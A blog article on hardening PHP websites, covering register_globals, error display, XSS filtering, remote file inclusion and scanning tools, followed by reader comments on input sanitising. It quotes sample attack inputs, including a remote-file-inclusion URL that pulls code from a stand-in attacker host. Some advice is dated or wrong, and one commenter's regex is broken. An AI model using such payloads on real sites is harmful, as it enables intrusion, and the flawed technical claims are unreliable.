PHP Security: Fortifying Your Website- Power Tips, Tools & How to’s
Defining PHP Security and It’s uses
PHP is the most popular web programming languages in use today due in large part to the fact that it’s a highly flexible syntax that can perform many functions while working flawlessly in conjunction with html – Plus it’s relatively easy to learn for beginners, yet it’s powerful enough for advanced users as well. It also works exceptionally well with open source tools, such as the Apache web server and MySQL database. In other words, its versatility is unsurpassed when compared to other scripting languages, making it the language of choice for many programmers.
Though many programmers and developers may be implementing PHP in their websites, the issue of PHP security is often overlooked when building a site. Insecure coding is rather common in PHP due to the fact that it’s such a forgiving language that will often “work” even when there are a few loose ends in the coding. These “loose ends” are what hackers are looking for, and in PHP, they’re not that hard to find. The key is for you to find them first, and to leverage PHP’s unique features to minimize your security vulnerability.
PHP Security involves minimizing programming errors as much as possible, and putting proper code in place to protect against possible vulnerabilities – Often times this means putting 2-3 “layers” of protection in place to guard sensitive data against hackers that could otherwise cause a catastrophic result if compromised. Developers call this principle of redundant safeguarding Defense in Depth, and this concept has been proven over the years to be an extremely effective defense against malicious attacks.
Types of Attacks
There are various types of attacks that PHP is particularly vulnerable to, and any website that sends or receives information is at risk of an attack – ranging from an annoyance to catastrophic – so it’s important to put the proper security in place to minimize the risk. The two main types of attacks are human attacks and automated attacks – Both of which can potentially devastate a website.
The most common type of human attacks are little more than annoyances and are common at file storage sites and forums, such as abusing file storage policy, defamation, lobbying at sites such Amazon or Yahoo Answers, and other similar abuse that doesn’t necessarily involve manipulation of your website’s source code. Humans can also find security holes that allow them to access source code and use it maliciously. This can potentially cause substantial damage to your website, so this is the type of human attack you should focus your efforts on.
Automated attacks are particularly dangerous because of their efficiency in using the power of automated scripts to wreak havoc on your website in a number of different ways. These attacks may slow down your site, access the error logs, manipulate the source code, or compromise sensitive information – The possibilities are seemingly endless. The most common, and notorious, type of automated attack are viruses and worm, which are slightly different in nature but are similar in the way that they can potentially harm a website.
The goal of PHP security is to minimize, and ultimately eliminate, the potential for both human and automated attacks by putting into place strategic lines of defense to eliminate access to your site by unverified users. The way you go about doing this is to target the most common types of PHP security breaches first, so that you make your website airtight against malicious attacks. So what are the most common types of PHP security breaches?
Most Common PHP Security Vulnerabilities
Experienced hackers know the most common types of security holes to look for in PHP, so it’s important to address these issues first. It doesn’t matter whether you’re a beginner or expert PHP programmer, every programmer makes mistakes now and then, and hackers will find it if you don’t first.
1. Register_Globals
Register_Globals makes writing PHP applications simple and convenient for the developer, but it also poses a potential security risk. This setting is located in PHP’s configuration file, which is php.ini, and it can be either turned on or off. When turned on, it allows unverified users to inject variables into an application to gain administrative access to your website. Most, if not all, PHP security experts recommend turning register_globals off.
For example take a look at the code snippet below. A user could append the end of a page's url with ?admin=1 to basically force entry to administrative areas that would normally require a password.
With register_globals turned off, this type of forced entry isn’t possible. The good news is that PHP 4.2.0 has register_globals turned off as its default setting, and PHP 6.0.0 has actually removed the feature. While some developers frown upon this move because register_globals off makes programming in PHP slightly more time-consuming, but in terms of PHP security it’s a crucial step in the right direction.
So instead of relying on register_globals, you should instead go through PHP Predefined Variables, such as $_REQUEST. To further tighten security, you should also specify by using: $_ENV, $_GET, $_POST, $_COOKIE, or $_SERVER instead using the more general $_REQUEST.
2. Error Reporting
Error reporting is a great tool for diagnosing bugs and allowing you to fix them quicker and easier, but it also poses a potential security threat. The problem occurs when the error is visible to others on-screen, because it reveals possible security holes in your source code that a hacker can easily take advantage of. If display_errors is not turned off, or have a value of “0”, the output will appear on the end user’s browser – Not good for security! You do, however, want to set log_errors to on, and then indicate the exact location of the log with error_log.
Take a look at the table below from PHPFreaks.com, which points out the recommended settings for both production and development instances of PHP web applications.
3. Cross-Site Scripting (XSS)
Cross-site scripting, or XSS, is a way for hackers to gather your website’s user data by using malicious markup or JavaScript code to trick a user, or their browser, to follow a bad link or present their login details to a fake login screen that instead of logging them in, steals their personal information. The best way to defend against XSS is to disable JavaScript and images while surfing the web, but we all know that’s nearly impossible with so many websites using JavaScript’s rich application environment these days.
To defend against XSS attacks, you need to be proactive – Don’t wait until your website has already been exploited. For instance, PHP applications that use form submission, or POST requests, are much less vulnerable than GET requests. So it’s very important that you spell out which variables and actions will be allowed as GET values, and also which ones must come via POST values. In a nutshell, defending against XSS involves controlling the user input at your site and making sure that it goes through a filtering process to ensure that it’s void of malicious code.
An example of filtering user input can be found in the snippet of code below that was taken from Pro PHP Security by Chris Snyder and Michael Southwell.
This relatively straightforward piece of code works by preventing html and JavaScript from being embedded in the input, which results in a completely safe version of the input. This is especially useful for comment sections of a blog, forums and other web applications that receive user input.
Also useful for protecting against XSS is a useful PHP function called htmlentities(). This simple function works by converting all characters in html to their corresponding entities, such as “<” would convert to “<” (without the quotes).
4. Remote File Inclusion (RFI)
This type of attack is relatively unknown amongst developers, which makes it an especially damaging threat to PHP security. Remote file inclusion, or RFI, involves an attack from a remote location that exploits a vulnerable PHP application and injects malicious code for the purpose of spamming or even gaining access to the root folder of the server. An unverified user gaining access to any server can wreak major havoc on a website in many different ways, including abusing personal information stored in databases.
A great example of an RFI attack can be found atPHPFreaks.com. Here's an exerpt from that page:
Imagine that at http://example.com/malice.php a file exists and our script is located at http://site.com/index.php. The attacker will do this request: http://site.com/index.php?page=http://example.com/malice. This file will get executed when it is included and it will a write a new file to the disk.
The best way to secure your site from RFI attacks is through php.ini directives – Specifically, the allow_url_fopen and the allow_url_include directives. The allow_url_fopen directive is set to on by default, and the allow_url_include is set to off. These two simple directives will adequately protect your site from RFI attacks.
Other PHP Security Tools
While the most effective way to secure PHP web application is through accurate coding and vigilante monitoring of your site, there are other helpful tools out there that can help to quickly and easily point out possible vulnerabilities in your PHP coding. Here are three useful tools that can be beneficial to PHP developers:
- PhpSecInfo
This useful tool reports security information in the PHP environment, and best of all, it offers suggestions for improving the errors. It’s available for download under the “New BSD” license, and the PhpSecInfo project is always looking for more PHP developers to help improve this tool.
- PHP Security Scanner
This is a tool used to scan PHP code for vulnerabilities, and it can be used to scan any directory. PHP Security Scanner features a useful UI for better visualization of potential problems, and it supports basic wild card search functionality for filtering directories or files that are to be searched.
Download PHP Security Scanner Here
It’s also worth making use of an SQL injection vulnerability scanner alongside this PHP-focused solution, giving you a more comprehensive overview of your site’s security setup and streamlining subsequent troubleshooting efforts.
I’d also recommend turning off your php version info in the http headers to avoid someone possibly targeting a known vulnerability.
eg.
expose_php Off
I’m surprised this post didn’t mention SQL Injection, which to my knowledge is one of the most common and widely exploited PHP security vulnerabilities.
As mentioned in the article, since PHP 4.2.0 register globals has been turned OFF by default, and I would be surprised if any responsible web host has it turned on.
Another security vulnerability to consider is email header injection, which exploits the mail() function to hijack a website’s contact form for the puspose of sending spam email.
I like the security tools section of this post. Will try them for sure.
Hey this is fantastic stuff… I have sent it through our development group and asked for a report on the security tools mentioned. We would have loved to stumble on this article about 2 years ago but it is great information for those who are venturing into PHP.
BTW the SQL injection comment is brilliant, this page will be saved in many developers Favorites files.
Cheers
hey thanks so much for posting this, i really appreciate it
For #3 (XSS), you completely omitted the idea of cleaning user input, which I expected to see on this list.
For instance, if:
$title = $_POST[‘title’];
was only meant to be text, why not remove things you don’t allow?
$title = preg_replace(‘/[^a-z\d\,\s/i’, ”, $_POST[‘title’];
will allow only alphanumeric characters, spaces and commas. Now there’s nothing to worry about since any characters that could break our code are now gone.
This is good, but it would be even better to use PHP’s “filter” functions:
http://us.php.net/manual/en/ref.filter.php
filter_input() would be the right one for the job of extracting a POST variable. The function has the added benefit of bypassing those evil magic_quotes if they happen to be turned on and you can’t turn them off.
Sanitizing is the best practise, but keep in mind that your code has to be ‘leightweight’ (at least in my opinion). So, only use regular expressions when you exacly know the format needed. Don’t ‘automagically’ remove stuff the user typed in, because then the result would be an unexpected one.
Then, the next step would be preventing to rely on fallback values (ex: when $_POST wasn’t set at all, php will throw a notice and fall back to an empty array). This can be fixed easily; so I’ve done it for a few datatypes:
// check for nummeric value
$nummeric = !empty($_POST[‘nummeric’]) ? (int)$_POST[‘numeric’] : 0;
// check for string
$string = !empty($_POST[‘string’]) ? (string)$_POST[‘string’] : ”;
// email (regex isn’t valid!)
$emailaddress = !empty($_POST[’email’]) && preg_match(‘/\w+@\w+.\w+/’, $_POST[’email’]) ? $_POST[’email’] : ”;
// known set of options? like gender:
$allowed_genders = array(‘unknown’, ‘male’, ‘female’);
$gender = !empty($_POST[‘gender’]) && in_array($_POST[‘gender’], $allowed_genders) ? $_POST[‘gender’] : $allowed_genders[0];
Further, it’s important to know that user data should always be checked before put into queries eg. Don’t expext that a user knows a ‘ or ” could cause harm. There are several ways of making them harmless, but how to do so, is depending on the goal of the data.
Here are some ways with their use:
// Remove entirely
$not_allowed_chars = array(‘\”, ‘”‘);
$data = str_replace($not_allowed_chars, ”, $subject);
// escape (‘ => \’)
$data = addslashes($subject);
// Encode (mind ENT_QUOTES)
$data = htmlspecialchars($subjecy, ENT_QUOTES);
Well, I hope this helps a bit ;)
While SQL injection was beyond the scope of this article, since it’s as much an SQL problem as it is a PHP one, my comments on data cleansing above using preg_replace will prevent SQL injections as well.
preg_replace() might prevent SQL injections. Or it might not, in certain cases. Your example regex permits whitespace and commas, for example, which could wreak havoc in poorly-written SQL-related code.
I would suspect that, where possible, it’s better to branch to an error path when the code encounters invalid content, rather than trying to cleanse the data.
This is very helpful resource. Thanks…
@Simon:
htmlspecialchars() escapes a sub-set of htmlentities() and is therefore much faster than htmlentities(). For escaping user input data, htmlspecialchars() is usually preferred.
ENT_QUOTES is really the kicker in preventing XSS in that you are specifically telling the function to escape double/single quotes.
The final param is your charset. UTF-8, etc.
If you want to test your forms against XSS, just google ‘XSS Cheat Sheet’…
@Stephan: “htmlspecialchars() escapes a sub-set of htmlentities() and is therefore much faster than htmlentities()”
Do you have a reference for this, or have you benchmarked it yourself? Just wondering because, depending on how the functions are implemented in the PHP core, that might not actually be true.
If I’m escaping output I’m going to use htmlentities() because it’s more thorough and therefore more secure. If my code is performing meaningfully slower because I’m using htmlentities(), then I probably need to re-factor my code — not replace one core function with another that’s potentially less secure.
htmlentities translates ALL html chars and non-english language characters. htmlspecialchars sub-set is smaller. The number of iterations over the translation tables needed is much smaller than with htmlentities. You can see the difference by outputting the two translation tables with the following:
echo var_dump( get_html_translation_table( HTML_SPECIALCHARS ) );
and
echo var_dump( get_html_translation_table( HTML_ENTITIES ) );
Using htmlentities or htmlspecialchars isn’t the only step in preventing XSS. However, if you are looking to translate html chars simply for XSS within the logic of your user input filtering, htmlspecialchars provides the necessary means to do this (with escaping single/double quotes).
I agree though, in most cases using htmlentities vs htmlspecialchar will not vary much in terms of performance.
Just took a look at the PHP core code and I think you’re right, htmlspecialchars() has got to perform better than htmlentities().
It’s not because of the size of the translation tables, though. Turns out that, in the underlying C code, there are separate maps for the “basic” characters covered by htmlspecialchars(), and for the higher-value characters covered by htmlentities().
If you call htmlentities(), each character in your string gets checked against both maps.
But if you call htmlspecialchars(), each character only gets checked against the “basic” map.
So yes, many more CPU cycles consumed by htmlentities(). Does it make a significant difference at the PHP level? I guess that would depend on the PHP app.
Thanks for a great post. I like keeping posts like these archived. Register globals is a killer.